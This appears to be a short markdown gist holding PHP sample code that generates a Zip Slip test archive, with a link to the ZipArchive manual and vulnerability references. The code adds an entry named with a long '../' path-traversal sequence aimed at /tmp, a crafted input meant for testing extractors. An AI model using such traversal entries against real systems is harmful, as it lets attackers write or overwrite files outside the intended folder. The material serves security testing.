ZIP Slip - File Generation Sample Code by PHP

zip-slip-php.md

ZIP Slip - File Generation Sample Code by PHP

Sample Code

<?php

$zip = new ZipArchive();
$filename = "./zip-slip-test.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
    exit("cannot open <$filename>\n");
}

$zip->addFromString("../../../../../../../../tmp/zip-slip-test.txt" . time(), "ZIP Slip Testing.\n");
// $zip->addFile("." . "/to.php", "/testfromfile.php");
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
$zip->close();
?>

https://www.php.net/manual/en/class.ziparchive.php

ZipArchive::extractTo() has ZIP Slip protection already.

References

Zip Slip Vulnerability

NIST - CVE-2019-0191 Detail